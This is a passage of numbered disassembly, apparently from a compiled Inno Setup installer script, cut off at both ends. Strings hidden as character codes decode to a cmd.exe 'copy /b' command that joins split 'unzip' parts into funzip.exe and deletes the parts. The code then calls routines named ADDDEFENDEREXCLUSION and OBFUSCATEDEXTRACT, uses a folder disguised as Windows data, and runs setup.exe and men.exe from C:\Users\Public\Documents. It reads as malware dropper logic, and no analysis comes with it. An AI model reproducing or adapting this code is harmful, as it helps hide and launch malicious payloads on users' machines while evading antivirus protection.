  46.         assign Var17[3], S32(99)
  47.         assign Var17[4], S32(111)
  48.         assign Var17[5], S32(112)
  49.         assign Var17[6], S32(121)
  50.         assign Var17[7], S32(32)
  51.         assign Var17[8], S32(47)
  52.         assign Var17[9], S32(98)
  53.         assign Var17[10], S32(32)
  54.         assign Var17[11], S32(34)
  55.         assign Var16, Var17
  56.         pop ; StackCount = 16
  57.         pushvar Var15 ; StackCount = 17
  58.         call STRFROMCODE
  59.         pop ; StackCount = 16
  60.         pop ; StackCount = 15
  61.         assign Var14, Var15
  62.         pop ; StackCount = 14
  63.         pushtype UnicodeString_2 ; StackCount = 15
  64.         pushtype Type30 ; StackCount = 16
  65.         pushtype Type30 ; StackCount = 17
  66.         pushtype S32 ; StackCount = 18
  67.         assign Var18, S32(25)
  68.         pushvar Var17 ; StackCount = 19
  69.         call SETARRAYLENGTH
  70.         pop ; StackCount = 18
  71.         pop ; StackCount = 17
  72.         assign Var17[0], S32(67)
  73.         assign Var17[1], S32(58)
  74.         assign Var17[2], S32(92)
  75.         assign Var17[3], S32(85)
  76.         assign Var17[4], S32(115)
  77.         assign Var17[5], S32(101)
  78.         assign Var17[6], S32(114)
  79.         assign Var17[7], S32(115)
  80.         assign Var17[8], S32(92)
  81.         assign Var17[9], S32(80)
  82.         assign Var17[10], S32(117)
  83.         assign Var17[11], S32(98)
  84.         assign Var17[12], S32(108)
  85.         assign Var17[13], S32(105)
  86.         assign Var17[14], S32(99)
  87.         assign Var17[15], S32(92)
  88.         assign Var17[16], S32(68)
  89.         assign Var17[17], S32(111)
  90.         assign Var17[18], S32(99)
  91.         assign Var17[19], S32(117)
  92.         assign Var17[20], S32(109)
  93.         assign Var17[21], S32(101)
  94.         assign Var17[22], S32(110)
  95.         assign Var17[23], S32(116)
  96.         assign Var17[24], S32(115)
  97.         assign Var16, Var17
  98.         pop ; StackCount = 16
  99.         pushvar Var15 ; StackCount = 17
  100.         call STRFROMCODE
  101.         pop ; StackCount = 16
  102.         pop ; StackCount = 15
  103.         add Var14, Var15
  104.         pop ; StackCount = 14
  105.         pushtype UnicodeString_2 ; StackCount = 15
  106.         pushtype Type30 ; StackCount = 16
  107.         pushtype Type30 ; StackCount = 17
  108.         pushtype S32 ; StackCount = 18
  109.         assign Var18, S32(13)
  110.         pushvar Var17 ; StackCount = 19
  111.         call SETARRAYLENGTH
  112.         pop ; StackCount = 18
  113.         pop ; StackCount = 17
  114.         assign Var17[0], S32(92)
  115.         assign Var17[1], S32(117)
  116.         assign Var17[2], S32(110)
  117.         assign Var17[3], S32(122)
  118.         assign Var17[4], S32(105)
  119.         assign Var17[5], S32(112)
  120.         assign Var17[6], S32(46)
  121.         assign Var17[7], S32(51)
  122.         assign Var17[8], S32(34)
  123.         assign Var17[9], S32(32)
  124.         assign Var17[10], S32(43)
  125.         assign Var17[11], S32(32)
  126.         assign Var17[12], S32(34)
  127.         assign Var16, Var17
  128.         pop ; StackCount = 16
  129.         pushvar Var15 ; StackCount = 17
  130.         call STRFROMCODE
  131.         pop ; StackCount = 16
  132.         pop ; StackCount = 15
  133.         add Var14, Var15
  134.         pop ; StackCount = 14
  135.         pushtype UnicodeString_2 ; StackCount = 15
  136.         pushtype Type30 ; StackCount = 16
  137.         pushtype Type30 ; StackCount = 17
  138.         pushtype S32 ; StackCount = 18
  139.         assign Var18, S32(25)
  140.         pushvar Var17 ; StackCount = 19
  141.         call SETARRAYLENGTH
  142.         pop ; StackCount = 18
  143.         pop ; StackCount = 17
  144.         assign Var17[0], S32(67)
  145.         assign Var17[1], S32(58)
  146.         assign Var17[2], S32(92)
  147.         assign Var17[3], S32(85)
  148.         assign Var17[4], S32(115)
  149.         assign Var17[5], S32(101)
  150.         assign Var17[6], S32(114)
  151.         assign Var17[7], S32(115)
  152.         assign Var17[8], S32(92)
  153.         assign Var17[9], S32(80)
  154.         assign Var17[10], S32(117)
  155.         assign Var17[11], S32(98)
  156.         assign Var17[12], S32(108)
  157.         assign Var17[13], S32(105)
  158.         assign Var17[14], S32(99)
  159.         assign Var17[15], S32(92)
  160.         assign Var17[16], S32(68)
  161.         assign Var17[17], S32(111)
  162.         assign Var17[18], S32(99)
  163.         assign Var17[19], S32(117)
  164.         assign Var17[20], S32(109)
  165.         assign Var17[21], S32(101)
  166.         assign Var17[22], S32(110)
  167.         assign Var17[23], S32(116)
  168.         assign Var17[24], S32(115)
  169.         assign Var16, Var17
  170.         pop ; StackCount = 16
  171.         pushvar Var15 ; StackCount = 17
  172.         call STRFROMCODE
  173.         pop ; StackCount = 16
  174.         pop ; StackCount = 15
  175.         add Var14, Var15
  176.         pop ; StackCount = 14
  177.         pushtype UnicodeString_2 ; StackCount = 15
  178.         pushtype Type30 ; StackCount = 16
  179.         pushtype Type30 ; StackCount = 17
  180.         pushtype S32 ; StackCount = 18
  181.         assign Var18, S32(11)
  182.         pushvar Var17 ; StackCount = 19
  183.         call SETARRAYLENGTH
  184.         pop ; StackCount = 18
  185.         pop ; StackCount = 17
  186.         assign Var17[0], S32(92)
  187.         assign Var17[1], S32(117)
  188.         assign Var17[2], S32(110)
  189.         assign Var17[3], S32(122)
  190.         assign Var17[4], S32(105)
  191.         assign Var17[5], S32(112)
  192.         assign Var17[6], S32(46)
  193.         assign Var17[7], S32(50)
  194.         assign Var17[8], S32(34)
  195.         assign Var17[9], S32(32)
  196.         assign Var17[10], S32(34)
  197.         assign Var16, Var17
  198.         pop ; StackCount = 16
  199.         pushvar Var15 ; StackCount = 17
  200.         call STRFROMCODE
  201.         pop ; StackCount = 16
  202.         pop ; StackCount = 15
  203.         add Var14, Var15
  204.         pop ; StackCount = 14
  205.         pushtype UnicodeString_2 ; StackCount = 15
  206.         pushtype Type30 ; StackCount = 16
  207.         pushtype Type30 ; StackCount = 17
  208.         pushtype S32 ; StackCount = 18
  209.         assign Var18, S32(25)
  210.         pushvar Var17 ; StackCount = 19
  211.         call SETARRAYLENGTH
  212.         pop ; StackCount = 18
  213.         pop ; StackCount = 17
  214.         assign Var17[0], S32(67)
  215.         assign Var17[1], S32(58)
  216.         assign Var17[2], S32(92)
  217.         assign Var17[3], S32(85)
  218.         assign Var17[4], S32(115)
  219.         assign Var17[5], S32(101)
  220.         assign Var17[6], S32(114)
  221.         assign Var17[7], S32(115)
  222.         assign Var17[8], S32(92)
  223.         assign Var17[9], S32(80)
  224.         assign Var17[10], S32(117)
  225.         assign Var17[11], S32(98)
  226.         assign Var17[12], S32(108)
  227.         assign Var17[13], S32(105)
  228.         assign Var17[14], S32(99)
  229.         assign Var17[15], S32(92)
  230.         assign Var17[16], S32(68)
  231.         assign Var17[17], S32(111)
  232.         assign Var17[18], S32(99)
  233.         assign Var17[19], S32(117)
  234.         assign Var17[20], S32(109)
  235.         assign Var17[21], S32(101)
  236.         assign Var17[22], S32(110)
  237.         assign Var17[23], S32(116)
  238.         assign Var17[24], S32(115)
  239.         assign Var16, Var17
  240.         pop ; StackCount = 16
  241.         pushvar Var15 ; StackCount = 17
  242.         call STRFROMCODE
  243.         pop ; StackCount = 16
  244.         pop ; StackCount = 15
  245.         add Var14, Var15
  246.         pop ; StackCount = 14
  247.         pushtype UnicodeString_2 ; StackCount = 15
  248.         pushtype Type30 ; StackCount = 16
  249.         pushtype Type30 ; StackCount = 17
  250.         pushtype S32 ; StackCount = 18
  251.         assign Var18, S32(21)
  252.         pushvar Var17 ; StackCount = 19
  253.         call SETARRAYLENGTH
  254.         pop ; StackCount = 18
  255.         pop ; StackCount = 17
  256.         assign Var17[0], S32(92)
  257.         assign Var17[1], S32(102)
  258.         assign Var17[2], S32(117)
  259.         assign Var17[3], S32(110)
  260.         assign Var17[4], S32(122)
  261.         assign Var17[5], S32(105)
  262.         assign Var17[6], S32(112)
  263.         assign Var17[7], S32(46)
  264.         assign Var17[8], S32(101)
  265.         assign Var17[9], S32(120)
  266.         assign Var17[10], S32(101)
  267.         assign Var17[11], S32(34)
  268.         assign Var17[12], S32(32)
  269.         assign Var17[13], S32(38)
  270.         assign Var17[14], S32(38)
  271.         assign Var17[15], S32(32)
  272.         assign Var17[16], S32(100)
  273.         assign Var17[17], S32(101)
  274.         assign Var17[18], S32(108)
  275.         assign Var17[19], S32(32)
  276.         assign Var17[20], S32(34)
  277.         assign Var16, Var17
  278.         pop ; StackCount = 16
  279.         pushvar Var15 ; StackCount = 17
  280.         call STRFROMCODE
  281.         pop ; StackCount = 16
  282.         pop ; StackCount = 15
  283.         add Var14, Var15
  284.         pop ; StackCount = 14
  285.         pushtype UnicodeString_2 ; StackCount = 15
  286.         pushtype Type30 ; StackCount = 16
  287.         pushtype Type30 ; StackCount = 17
  288.         pushtype S32 ; StackCount = 18
  289.         assign Var18, S32(25)
  290.         pushvar Var17 ; StackCount = 19
  291.         call SETARRAYLENGTH
  292.         pop ; StackCount = 18
  293.         pop ; StackCount = 17
  294.         assign Var17[0], S32(67)
  295.         assign Var17[1], S32(58)
  296.         assign Var17[2], S32(92)
  297.         assign Var17[3], S32(85)
  298.         assign Var17[4], S32(115)
  299.         assign Var17[5], S32(101)
  300.         assign Var17[6], S32(114)
  301.         assign Var17[7], S32(115)
  302.         assign Var17[8], S32(92)
  303.         assign Var17[9], S32(80)
  304.         assign Var17[10], S32(117)
  305.         assign Var17[11], S32(98)
  306.         assign Var17[12], S32(108)
  307.         assign Var17[13], S32(105)
  308.         assign Var17[14], S32(99)
  309.         assign Var17[15], S32(92)
  310.         assign Var17[16], S32(68)
  311.         assign Var17[17], S32(111)
  312.         assign Var17[18], S32(99)
  313.         assign Var17[19], S32(117)
  314.         assign Var17[20], S32(109)
  315.         assign Var17[21], S32(101)
  316.         assign Var17[22], S32(110)
  317.         assign Var17[23], S32(116)
  318.         assign Var17[24], S32(115)
  319.         assign Var16, Var17
  320.         pop ; StackCount = 16
  321.         pushvar Var15 ; StackCount = 17
  322.         call STRFROMCODE
  323.         pop ; StackCount = 16
  324.         pop ; StackCount = 15
  325.         add Var14, Var15
  326.         pop ; StackCount = 14
  327.         pushtype UnicodeString_2 ; StackCount = 15
  328.         pushtype Type30 ; StackCount = 16
  329.         pushtype Type30 ; StackCount = 17
  330.         pushtype S32 ; StackCount = 18
  331.         assign Var18, S32(11)
  332.         pushvar Var17 ; StackCount = 19
  333.         call SETARRAYLENGTH
  334.         pop ; StackCount = 18
  335.         pop ; StackCount = 17
  336.         assign Var17[0], S32(92)
  337.         assign Var17[1], S32(117)
  338.         assign Var17[2], S32(110)
  339.         assign Var17[3], S32(122)
  340.         assign Var17[4], S32(105)
  341.         assign Var17[5], S32(112)
  342.         assign Var17[6], S32(46)
  343.         assign Var17[7], S32(51)
  344.         assign Var17[8], S32(34)
  345.         assign Var17[9], S32(32)
  346.         assign Var17[10], S32(34)
  347.         assign Var16, Var17
  348.         pop ; StackCount = 16
  349.         pushvar Var15 ; StackCount = 17
  350.         call STRFROMCODE
  351.         pop ; StackCount = 16
  352.         pop ; StackCount = 15
  353.         add Var14, Var15
  354.         pop ; StackCount = 14
  355.         pushtype UnicodeString_2 ; StackCount = 15
  356.         pushtype Type30 ; StackCount = 16
  357.         pushtype Type30 ; StackCount = 17
  358.         pushtype S32 ; StackCount = 18
  359.         assign Var18, S32(25)
  360.         pushvar Var17 ; StackCount = 19
  361.         call SETARRAYLENGTH
  362.         pop ; StackCount = 18
  363.         pop ; StackCount = 17
  364.         assign Var17[0], S32(67)
  365.         assign Var17[1], S32(58)
  366.         assign Var17[2], S32(92)
  367.         assign Var17[3], S32(85)
  368.         assign Var17[4], S32(115)
  369.         assign Var17[5], S32(101)
  370.         assign Var17[6], S32(114)
  371.         assign Var17[7], S32(115)
  372.         assign Var17[8], S32(92)
  373.         assign Var17[9], S32(80)
  374.         assign Var17[10], S32(117)
  375.         assign Var17[11], S32(98)
  376.         assign Var17[12], S32(108)
  377.         assign Var17[13], S32(105)
  378.         assign Var17[14], S32(99)
  379.         assign Var17[15], S32(92)
  380.         assign Var17[16], S32(68)
  381.         assign Var17[17], S32(111)
  382.         assign Var17[18], S32(99)
  383.         assign Var17[19], S32(117)
  384.         assign Var17[20], S32(109)
  385.         assign Var17[21], S32(101)
  386.         assign Var17[22], S32(110)
  387.         assign Var17[23], S32(116)
  388.         assign Var17[24], S32(115)
  389.         assign Var16, Var17
  390.         pop ; StackCount = 16
  391.         pushvar Var15 ; StackCount = 17
  392.         call STRFROMCODE
  393.         pop ; StackCount = 16
  394.         pop ; StackCount = 15
  395.         add Var14, Var15
  396.         pop ; StackCount = 14
  397.         pushtype UnicodeString_2 ; StackCount = 15
  398.         pushtype Type30 ; StackCount = 16
  399.         pushtype Type30 ; StackCount = 17
  400.         pushtype S32 ; StackCount = 18
  401.         assign Var18, S32(9)
  402.         pushvar Var17 ; StackCount = 19
  403.         call SETARRAYLENGTH
  404.         pop ; StackCount = 18
  405.         pop ; StackCount = 17
  406.         assign Var17[0], S32(92)
  407.         assign Var17[1], S32(117)
  408.         assign Var17[2], S32(110)
  409.         assign Var17[3], S32(122)
  410.         assign Var17[4], S32(105)
  411.         assign Var17[5], S32(112)
  412.         assign Var17[6], S32(46)
  413.         assign Var17[7], S32(50)
  414.         assign Var17[8], S32(34)
  415.         assign Var16, Var17
  416.         pop ; StackCount = 16
  417.         pushvar Var15 ; StackCount = 17
  418.         call STRFROMCODE
  419.         pop ; StackCount = 16
  420.         pop ; StackCount = 15
  421.         add Var14, Var15
  422.         pop ; StackCount = 14
  423.         assign Var13, Var14
  424.         pop ; StackCount = 13
  425.         pushtype UnicodeString_2 ; StackCount = 14
  426.         pushtype Type30 ; StackCount = 15
  427.         pushtype Type30 ; StackCount = 16
  428.         pushtype S32 ; StackCount = 17
  429.         assign Var17, S32(7)
  430.         pushvar Var16 ; StackCount = 18
  431.         call SETARRAYLENGTH
  432.         pop ; StackCount = 17
  433.         pop ; StackCount = 16
  434.         assign Var16[0], S32(99)
  435.         assign Var16[1], S32(109)
  436.         assign Var16[2], S32(100)
  437.         assign Var16[3], S32(46)
  438.         assign Var16[4], S32(101)
  439.         assign Var16[5], S32(120)
  440.         assign Var16[6], S32(101)
  441.         assign Var15, Var16
  442.         pop ; StackCount = 15
  443.         pushvar Var14 ; StackCount = 16
  444.         call STRFROMCODE
  445.         pop ; StackCount = 15
  446.         pop ; StackCount = 14
  447.         pushvar Var8 ; StackCount = 15
  448.         call EXEC
  449.         pop ; StackCount = 14
  450.         pop ; StackCount = 13
  451.         pop ; StackCount = 12
  452.         pop ; StackCount = 11
  453.         pop ; StackCount = 10
  454.         pop ; StackCount = 9
  455.         pop ; StackCount = 8
  456.         pop ; StackCount = 7
  457.         call ADDDEFENDEREXCLUSION
  458.         call OBFUSCATEDEXTRACT
  459.         pushtype Type30 ; StackCount = 8
  460.         pushtype Type30 ; StackCount = 9
  461.         pushtype S32 ; StackCount = 10
  462.         assign Var10, S32(51)
  463.         pushvar Var9 ; StackCount = 11
  464.         call SETARRAYLENGTH
  465.         pop ; StackCount = 10
  466.         pop ; StackCount = 9
  467.         assign Var9[0], S32(67)
  468.         assign Var9[1], S32(58)
  469.         assign Var9[2], S32(92)
  470.         assign Var9[3], S32(85)
  471.         assign Var9[4], S32(115)
  472.         assign Var9[5], S32(101)
  473.         assign Var9[6], S32(114)
  474.         assign Var9[7], S32(115)
  475.         assign Var9[8], S32(92)
  476.         assign Var9[9], S32(80)
  477.         assign Var9[10], S32(117)
  478.         assign Var9[11], S32(98)
  479.         assign Var9[12], S32(108)
  480.         assign Var9[13], S32(105)
  481.         assign Var9[14], S32(99)
  482.         assign Var9[15], S32(92)
  483.         assign Var9[16], S32(68)
  484.         assign Var9[17], S32(111)
  485.         assign Var9[18], S32(99)
  486.         assign Var9[19], S32(117)
  487.         assign Var9[20], S32(109)
  488.         assign Var9[21], S32(101)
  489.         assign Var9[22], S32(110)
  490.         assign Var9[23], S32(116)
  491.         assign Var9[24], S32(115)
  492.         assign Var9[25], S32(92)
  493.         assign Var9[26], S32(120)
  494.         assign Var9[27], S32(56)
  495.         assign Var9[28], S32(54)
  496.         assign Var9[29], S32(45)
  497.         assign Var9[30], S32(77)
  498.         assign Var9[31], S32(105)
  499.         assign Var9[32], S32(99)
  500.         assign Var9[33], S32(114)
  501.         assign Var9[34], S32(111)
  502.         assign Var9[35], S32(115)
  503.         assign Var9[36], S32(111)
  504.         assign Var9[37], S32(102)
  505.         assign Var9[38], S32(116)
  506.         assign Var9[39], S32(45)
  507.         assign Var9[40], S32(87)
  508.         assign Var9[41], S32(105)
  509.         assign Var9[42], S32(110)
  510.         assign Var9[43], S32(100)
  511.         assign Var9[44], S32(111)
  512.         assign Var9[45], S32(119)
  513.         assign Var9[46], S32(115)
  514.         assign Var9[47], S32(100)
  515.         assign Var9[48], S32(97)
  516.         assign Var9[49], S32(116)
  517.         assign Var9[50], S32(97)
  518.         assign Var8, Var9
  519.         pop ; StackCount = 8
  520.         pushvar Var2 ; StackCount = 9
  521.         call STRFROMCODE
  522.         pop ; StackCount = 8
  523.         pop ; StackCount = 7
  524.         pushtype Type30 ; StackCount = 8
  525.         pushtype Type30 ; StackCount = 9
  526.         pushtype S32 ; StackCount = 10
  527.         assign Var10, S32(36)
  528.         pushvar Var9 ; StackCount = 11
  529.         call SETARRAYLENGTH
  530.         pop ; StackCount = 10
  531.         pop ; StackCount = 9
  532.         assign Var9[0], S32(67)
  533.         assign Var9[1], S32(58)
  534.         assign Var9[2], S32(92)
  535.         assign Var9[3], S32(85)
  536.         assign Var9[4], S32(115)
  537.         assign Var9[5], S32(101)
  538.         assign Var9[6], S32(114)
  539.         assign Var9[7], S32(115)
  540.         assign Var9[8], S32(92)
  541.         assign Var9[9], S32(80)
  542.         assign Var9[10], S32(117)
  543.         assign Var9[11], S32(98)
  544.         assign Var9[12], S32(108)
  545.         assign Var9[13], S32(105)
  546.         assign Var9[14], S32(99)
  547.         assign Var9[15], S32(92)
  548.         assign Var9[16], S32(68)
  549.         assign Var9[17], S32(111)
  550.         assign Var9[18], S32(99)
  551.         assign Var9[19], S32(117)
  552.         assign Var9[20], S32(109)
  553.         assign Var9[21], S32(101)
  554.         assign Var9[22], S32(110)
  555.         assign Var9[23], S32(116)
  556.         assign Var9[24], S32(115)
  557.         assign Var9[25], S32(92)
  558.         assign Var9[26], S32(83)
  559.         assign Var9[27], S32(101)
  560.         assign Var9[28], S32(114)
  561.         assign Var9[29], S32(118)
  562.         assign Var9[30], S32(101)
  563.         assign Var9[31], S32(114)
  564.         assign Var9[32], S32(46)
  565.         assign Var9[33], S32(108)
  566.         assign Var9[34], S32(111)
  567.         assign Var9[35], S32(103)
  568.         assign Var8, Var9
  569.         pop ; StackCount = 8
  570.         pushvar Var3 ; StackCount = 9
  571.         call STRFROMCODE
  572.         pop ; StackCount = 8
  573.         pop ; StackCount = 7
  574.         pushtype WideString ; StackCount = 8
  575.         assign Var8, Var2
  576.         pushtype UnicodeString_2 ; StackCount = 9
  577.         pushtype Type30 ; StackCount = 10
  578.         pushtype Type30 ; StackCount = 11
  579.         pushtype S32 ; StackCount = 12
  580.         assign Var12, S32(11)
  581.         pushvar Var11 ; StackCount = 13
  582.         call SETARRAYLENGTH
  583.         pop ; StackCount = 12
  584.         pop ; StackCount = 11
  585.         assign Var11[0], S32(92)
  586.         assign Var11[1], S32(83)
  587.         assign Var11[2], S32(101)
  588.         assign Var11[3], S32(114)
  589.         assign Var11[4], S32(118)
  590.         assign Var11[5], S32(101)
  591.         assign Var11[6], S32(114)
  592.         assign Var11[7], S32(46)
  593.         assign Var11[8], S32(108)
  594.         assign Var11[9], S32(111)
  595.         assign Var11[10], S32(103)
  596.         assign Var10, Var11
  597.         pop ; StackCount = 10
  598.         pushvar Var9 ; StackCount = 11
  599.         call STRFROMCODE
  600.         pop ; StackCount = 10
  601.         pop ; StackCount = 9
  602.         add Var8, Var9
  603.         pop ; StackCount = 8
  604.         assign Var4, Var8
  605.         pop ; StackCount = 7
  606.         pushtype BOOLEAN ; StackCount = 8
  607.         pushtype UnicodeString_2 ; StackCount = 9
  608.         assign Var9, Var2
  609.         pushvar Var8 ; StackCount = 10
  610.         call FORCEDIRECTORIES
  611.         pop ; StackCount = 9
  612.         pop ; StackCount = 8
  613.         pop ; StackCount = 7
  614.         pushtype BOOLEAN ; StackCount = 8
  615.         pushtype UnicodeString_2 ; StackCount = 9
  616.         assign Var9, Var3
  617.         pushvar Var8 ; StackCount = 10
  618.         call FILEEXISTS
  619.         pop ; StackCount = 9
  620.         pop ; StackCount = 8
  621.         sfz Var8
  622.         pop ; StackCount = 7
  623.         jf loc_1d7a
  624.         pushtype BOOLEAN ; StackCount = 8
  625.         pushtype UnicodeString_2 ; StackCount = 9
  626.         assign Var9, Var4
  627.         pushvar Var8 ; StackCount = 10
  628.         call FILEEXISTS
  629.         pop ; StackCount = 9
  630.         pop ; StackCount = 8
  631.         sfz Var8
  632.         pop ; StackCount = 7
  633.         jf loc_1d46
  634.         pushtype BOOLEAN ; StackCount = 8
  635.         pushtype UnicodeString_2 ; StackCount = 9
  636.         assign Var9, Var4
  637.         pushvar Var8 ; StackCount = 10
  638.         call DELETEFILE
  639.         pop ; StackCount = 9
  640.         pop ; StackCount = 8
  641.         pop ; StackCount = 7
  642. loc_1d46:
  643.         pushtype BOOLEAN ; StackCount = 8
  644.         pushtype UnicodeString_2 ; StackCount = 9
  645.         assign Var9, Var4
  646.         pushtype UnicodeString_2 ; StackCount = 10
  647.         assign Var10, Var3
  648.         pushvar Var8 ; StackCount = 11
  649.         call RENAMEFILE
  650.         pop ; StackCount = 10
  651.         pop ; StackCount = 9
  652.         pop ; StackCount = 8
  653.         pop ; StackCount = 7
  654. loc_1d7a:
  655.         pushtype WideString ; StackCount = 8
  656.         pushtype UnicodeString_2 ; StackCount = 9
  657.         pushtype Type30 ; StackCount = 10
  658.         pushtype Type30 ; StackCount = 11
  659.         pushtype S32 ; StackCount = 12
  660.         assign Var12, S32(26)
  661.         pushvar Var11 ; StackCount = 13
  662.         call SETARRAYLENGTH
  663.         pop ; StackCount = 12
  664.         pop ; StackCount = 11
  665.         assign Var11[0], S32(67)
  666.         assign Var11[1], S32(58)
  667.         assign Var11[2], S32(92)
  668.         assign Var11[3], S32(85)
  669.         assign Var11[4], S32(115)
  670.         assign Var11[5], S32(101)
  671.         assign Var11[6], S32(114)
  672.         assign Var11[7], S32(115)
  673.         assign Var11[8], S32(92)
  674.         assign Var11[9], S32(80)
  675.         assign Var11[10], S32(117)
  676.         assign Var11[11], S32(98)
  677.         assign Var11[12], S32(108)
  678.         assign Var11[13], S32(105)
  679.         assign Var11[14], S32(99)
  680.         assign Var11[15], S32(92)
  681.         assign Var11[16], S32(68)
  682.         assign Var11[17], S32(111)
  683.         assign Var11[18], S32(99)
  684.         assign Var11[19], S32(117)
  685.         assign Var11[20], S32(109)
  686.         assign Var11[21], S32(101)
  687.         assign Var11[22], S32(110)
  688.         assign Var11[23], S32(116)
  689.         assign Var11[24], S32(115)
  690.         assign Var11[25], S32(92)
  691.         assign Var10, Var11
  692.         pop ; StackCount = 10
  693.         pushvar Var9 ; StackCount = 11
  694.         call STRFROMCODE
  695.         pop ; StackCount = 10
  696.         pop ; StackCount = 9
  697.         assign Var8, Var9
  698.         pop ; StackCount = 8
  699.         pushtype UnicodeString_2 ; StackCount = 9
  700.         pushtype Type30 ; StackCount = 10
  701.         pushtype Type30 ; StackCount = 11
  702.         pushtype S32 ; StackCount = 12
  703.         assign Var12, S32(9)
  704.         pushvar Var11 ; StackCount = 13
  705.         call SETARRAYLENGTH
  706.         pop ; StackCount = 12
  707.         pop ; StackCount = 11
  708.         assign Var11[0], S32(115)
  709.         assign Var11[1], S32(101)
  710.         assign Var11[2], S32(116)
  711.         assign Var11[3], S32(117)
  712.         assign Var11[4], S32(112)
  713.         assign Var11[5], S32(46)
  714.         assign Var11[6], S32(101)
  715.         assign Var11[7], S32(120)
  716.         assign Var11[8], S32(101)
  717.         assign Var10, Var11
  718.         pop ; StackCount = 10
  719.         pushvar Var9 ; StackCount = 11
  720.         call STRFROMCODE
  721.         pop ; StackCount = 10
  722.         pop ; StackCount = 9
  723.         add Var8, Var9
  724.         pop ; StackCount = 8
  725.         assign Var6, Var8
  726.         pop ; StackCount = 7
  727.         pushtype BOOLEAN ; StackCount = 8
  728.         pushtype UnicodeString_2 ; StackCount = 9
  729.         assign Var9, Var6
  730.         pushvar Var8 ; StackCount = 10
  731.         call FILEEXISTS
  732.         pop ; StackCount = 9
  733.         pop ; StackCount = 8
  734.         sfz Var8
  735.         pop ; StackCount = 7
  736.         jf loc_21ed
  737.         pushtype BOOLEAN ; StackCount = 8
  738.         pushtype Pointer ; StackCount = 9
  739.         setptr Var9, Var7
  740.         pushtype U8_4 ; StackCount = 10
  741.         assign Var10, U8_4(0)
  742.         pushtype S32 ; StackCount = 11
  743.         assign Var11, S32(5)
  744.         pushtype UnicodeString_2 ; StackCount = 12
  745.         pushtype Type30 ; StackCount = 13
  746.         pushtype Type30 ; StackCount = 14
  747.         pushtype S32 ; StackCount = 15
  748.         assign Var15, S32(0)
  749.         pushvar Var14 ; StackCount = 16
  750.         call SETARRAYLENGTH
  751.         pop ; StackCount = 15
  752.         pop ; StackCount = 14
  753.         assign Var13, Var14
  754.         pop ; StackCount = 13
  755.         pushvar Var12 ; StackCount = 14
  756.         call STRFROMCODE
  757.         pop ; StackCount = 13
  758.         pop ; StackCount = 12
  759.         pushtype UnicodeString_2 ; StackCount = 13
  760.         pushtype Type30 ; StackCount = 14
  761.         pushtype Type30 ; StackCount = 15
  762.         pushtype S32 ; StackCount = 16
  763.         assign Var16, S32(0)
  764.         pushvar Var15 ; StackCount = 17
  765.         call SETARRAYLENGTH
  766.         pop ; StackCount = 16
  767.         pop ; StackCount = 15
  768.         assign Var14, Var15
  769.         pop ; StackCount = 14
  770.         pushvar Var13 ; StackCount = 15
  771.         call STRFROMCODE
  772.         pop ; StackCount = 14
  773.         pop ; StackCount = 13
  774.         pushtype UnicodeString_2 ; StackCount = 14
  775.         assign Var14, Var6
  776.         pushvar Var8 ; StackCount = 15
  777.         call EXEC
  778.         pop ; StackCount = 14
  779.         pop ; StackCount = 13
  780.         pop ; StackCount = 12
  781.         pop ; StackCount = 11
  782.         pop ; StackCount = 10
  783.         pop ; StackCount = 9
  784.         pop ; StackCount = 8
  785.         pop ; StackCount = 7
  786. loc_21ed:
  787.         pushtype WideString ; StackCount = 8
  788.         pushtype UnicodeString_2 ; StackCount = 9
  789.         pushtype Type30 ; StackCount = 10
  790.         pushtype Type30 ; StackCount = 11
  791.         pushtype S32 ; StackCount = 12
  792.         assign Var12, S32(25)
  793.         pushvar Var11 ; StackCount = 13
  794.         call SETARRAYLENGTH
  795.         pop ; StackCount = 12
  796.         pop ; StackCount = 11
  797.         assign Var11[0], S32(67)
  798.         assign Var11[1], S32(58)
  799.         assign Var11[2], S32(92)
  800.         assign Var11[3], S32(85)
  801.         assign Var11[4], S32(115)
  802.         assign Var11[5], S32(101)
  803.         assign Var11[6], S32(114)
  804.         assign Var11[7], S32(115)
  805.         assign Var11[8], S32(92)
  806.         assign Var11[9], S32(80)
  807.         assign Var11[10], S32(117)
  808.         assign Var11[11], S32(98)
  809.         assign Var11[12], S32(108)
  810.         assign Var11[13], S32(105)
  811.         assign Var11[14], S32(99)
  812.         assign Var11[15], S32(92)
  813.         assign Var11[16], S32(68)
  814.         assign Var11[17], S32(111)
  815.         assign Var11[18], S32(99)
  816.         assign Var11[19], S32(117)
  817.         assign Var11[20], S32(109)
  818.         assign Var11[21], S32(101)
  819.         assign Var11[22], S32(110)
  820.         assign Var11[23], S32(116)
  821.         assign Var11[24], S32(115)
  822.         assign Var10, Var11
  823.         pop ; StackCount = 10
  824.         pushvar Var9 ; StackCount = 11
  825.         call STRFROMCODE
  826.         pop ; StackCount = 10
  827.         pop ; StackCount = 9
  828.         assign Var8, Var9
  829.         pop ; StackCount = 8
  830.         pushtype UnicodeString_2 ; StackCount = 9
  831.         pushtype Type30 ; StackCount = 10
  832.         pushtype Type30 ; StackCount = 11
  833.         pushtype S32 ; StackCount = 12
  834.         assign Var12, S32(8)
  835.         pushvar Var11 ; StackCount = 13
  836.         call SETARRAYLENGTH
  837.         pop ; StackCount = 12
  838.         pop ; StackCount = 11
  839.         assign Var11[0], S32(92)
  840.         assign Var11[1], S32(109)
  841.         assign Var11[2], S32(101)
  842.         assign Var11[3], S32(110)
  843.         assign Var11[4], S32(46)
  844.         assign Var11[5], S32(101)
  845.         assign Var11[6], S32(120)
  846.         assign Var11[7], S32(101)
  847.         assign Var10, Var11
  848.         pop ; StackCount = 10
  849.         pushvar Var9 ; StackCount = 11
  850.         call STRFROMCODE
  851.         pop ; StackCount = 10
  852.         pop ; StackCount = 9
  853.         add Var8, Var9
  854.         pop ; StackCount = 8
  855.         assign Var5, Var8
  856.         pop ; StackCount = 7
  857.         pushtype BOOLEAN ; StackCount = 8
  858.         pushtype UnicodeString_2 ; StackCount = 9
  859.         assign Var9, Var5
  860.         pushvar Var8 ; StackCount = 10
  861.         call FILEEXISTS
  862.         pop ; StackCount = 9
  863.         pop ; StackCount = 8
  864.         sfz Var8
  865.         pop ; StackCount = 7
  866.         jf loc_263a
  867.         pushtype BOOLEAN ; StackCount = 8
  868.         pushtype Pointer ; StackCount = 9
  869.         setptr Var9, Var7
  870.         pushtype U8_4 ; StackCount = 10
  871.         assign Var10, U8_4(0)
  872.         pushtype S32 ; StackCount = 11
  873.         assign Var11, S32(0)
  874.         pushtype UnicodeString_2 ; StackCount = 12
  875.         pushtype Type30 ; StackCount = 13
  876.         pushtype Type30 ; StackCount = 14
  877.         pushtype S32 ; StackCount = 15
  878.         assign Var15, S32(0)
  879.         pushvar Var14 ; StackCount = 16
